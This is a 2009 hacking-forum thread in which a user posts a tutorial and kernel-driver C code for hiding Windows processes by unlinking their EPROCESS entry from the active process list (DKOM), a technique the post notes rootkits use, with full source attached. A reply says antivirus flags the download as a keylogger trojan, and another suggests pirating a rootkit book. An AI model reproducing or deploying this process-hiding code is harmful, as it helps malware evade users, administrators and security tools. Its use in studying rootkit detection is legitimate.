C // C++ General discussions about C and C++.

InterN0T Affiliates:
EvilZonepy1337

SirCapsAlot.NET

Reply
 
LinkBack Thread Tools Display Modes
  #1  
Old 10th February 2009, 21:44
Cyber Assassin
 
Join Date: Oct 2008
Posts: 401
Rep Power: 12
Reputation: 239
macd3v has made his way up the systemmacd3v has made his way up the systemmacd3v has made his way up the system
Process Hiding

Tutorial writen by xWeasel

Hey guys.
I've written a (sorta) simple program which lets you hide any process you want. It works by using DKOM (Direct Kernel Object Manipulation). To understand how this works, you need to understand how process listing in Windows works.

Each process has an EPROCESS struct (which isn't officially documented) in the kernel's memory. This structure contains info such as PID, exe name, and a whole whackload of stuff. The struct member that interests us is: LIST_ENTRY ActiveProcessLinks. Here's the MSDN page for LIST_ENTRY: LIST_ENTRY
The Flink member of this struct points to the next entry (process) in the doubly-linked list. The Blink member points to the previous entry (process).
Here's diagram explaining how this works:



So, in order to hide a process, all we need to do is disconnect it from the doubly-linked list. Sound simple, huh? Well it is. All we need to do is set the Flink of the process preceding the process we want to hide to the Flink of the process we're hiding. Same is done with the Blink of the next process, which is set to the Blink of the process being hidden. This is all accomplished in a few lines of code. I attached the full source to this post, but I'll post the code that does the hiding here so you can take a look:

Code:
if(PsLookupProcessByProcessId((PVOID)hps->uPid, &pEProc) == STATUS_SUCCESS){ //get EPROCESSstruct for the process we want to hide
    DbgPrint("EPROCESS found. Address: %08lX.\n", pEProc);
    DbgPrint("Now hiding process %d...\n", hps->uPid);
    dwEProcAddr = (ULONG) pEProc; //get address of process's EPROCESS struct
    __try{ //try/except just in case, so we don't get a BSOD
        pListProcs = (PLIST_ENTRY) (dwEProcAddr + hps->uFlinkOffset); //pListProcs is a LIST_ENTRY struct, which is set to the LIST_ENTRY struct
                                                                          //in the process being hidden (uLinkOffset varies between 2k and XP)
        *((ULONG*) pListProcs->Blink) = (ULONG) (pListProcs->Flink);   //set flink of prev proc to flink of cur proc
        *((ULONG*) pListProcs->Flink+1) = (ULONG) (pListProcs->Blink); //set blink of next proc to blink of cur proc
        pListProcs->Flink = (PLIST_ENTRY) &(pListProcs->Flink); //set flink and blink of cur proc to themselves
        pListProcs->Blink = (PLIST_ENTRY) &(pListProcs->Flink); //otherwise might bsod when exiting process
        DbgPrint("Process now hidden.\n");
    }__except(EXCEPTION_EXECUTE_HANDLER){
        NtStatus = GetExceptionCode();
        DbgPrint("Exception: %d.\n", NtStatus);
    }
    NtStatus = STATUS_SUCCESS;
}
After the process is hidden, the doubly-linked list looks something like this:



So when a program is listing processes, it skips over the one that we hid. This kind of technique is commonly used by rootkits to conceal their processes. This method has its own pros and cons, such as being easier to write than a hook, and in some cases easier or harder to detect.

Here's an example of what you can do with this program:



This program works on Windows XP (any version) and Windows 2000 (tested on Professional, but should work on all).
I suggest reading Rootkits: Subverting the Windows Kernel if you want to learn more about techniques such as this (and this code is partially based on info in that book, but simplified a bit).
P.S. I'm not responsible for how you use this code and/or any damages that may be caused as a result of you using this code.

Source
__________________
http://i34.tinypic.com/24g5awx.gif
http://mack360.com
Reply With Quote
  #2  
Old 4th January 2010, 01:02
K1llTh3C0rruption's Avatar
 
Join Date: Nov 2009
Location: US
Posts: 66
Rep Power: 4
Reputation: 41
K1llTh3C0rruption is on the way to become something
Re: Process Hiding

nice. I ordered a copy of Rootkits: Subverting the Windows Kernel and expect to get a lot out of it.

Note to anyone who wants the Rootkits book: I looked in about 5 different stores today and nobody had it. Your best bet is to get it online. I ordered mine on Amazon.
Reply With Quote
  #3  
Old 7th January 2010, 17:03
MaXe's Avatar
Studying shellcode..
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 3,405
Blog Entries: 36
Rep Power: 10
Reputation: 198
MaXe has made his way up the systemMaXe has made his way up the system
Re: Process Hiding

The book is easy to find on the web, just search for it on rapidshare :-D
__________________

Quote:
Originally Posted by Norph
MaXe, I really doubt that you are able to browse ANY site more than 2 minutes before you start pwning it xD
Reply With Quote
  #4  
Old 7th January 2010, 17:53
K1llTh3C0rruption's Avatar
 
Join Date: Nov 2009
Location: US
Posts: 66
Rep Power: 4
Reputation: 41
K1llTh3C0rruption is on the way to become something
Re: Process Hiding

I like a hard copy. I can't stand reading on a screen.
But I got my copy and love it!
Reply With Quote
  #5  
Old 21st January 2010, 19:44
 
Join Date: Jan 2010
Posts: 3
Rep Power: 3
Reputation: 1
lordsteam is an unknown memory address at this point
Re: Process Hiding

LOL Virused AV detect it as Spy.Keylogger.TrojanNDQ lol ahha
Reply With Quote
  #6  
Old 2nd February 2010, 15:11
MaXe's Avatar
Studying shellcode..
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 3,405
Blog Entries: 36
Rep Power: 10
Reputation: 198
MaXe has made his way up the systemMaXe has made his way up the system
Re: Process Hiding

Quote:
Originally Posted by K1llTh3C0rruption View Post
I like a hard copy. I can't stand reading on a screen.
But I got my copy and love it!
I prefer hard copies too, easier to read (it has been researched that it is
easier to read longer texts / documents in hard copy form due to the nature
of text that is displayed virtually as well).
__________________

Quote:
Originally Posted by Norph
MaXe, I really doubt that you are able to browse ANY site more than 2 minutes before you start pwning it xD
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Vulnerability Testing Process by Gregory Yhan Erratum Offensive Guides & Information 2 13th April 2010 00:01
Thread Process psychopuppet Site Suggestions 1 29th March 2010 12:43
Hide Window by process. hestas C // C++ 2 30th March 2009 20:10
XHide process faker macd3v C // C++ 0 10th February 2009 22:30


All times are GMT +2. The time now is 14:01.
Copyright ©2007 - Forever, InterN0T & Teh Unkwon

Hosted by 1and1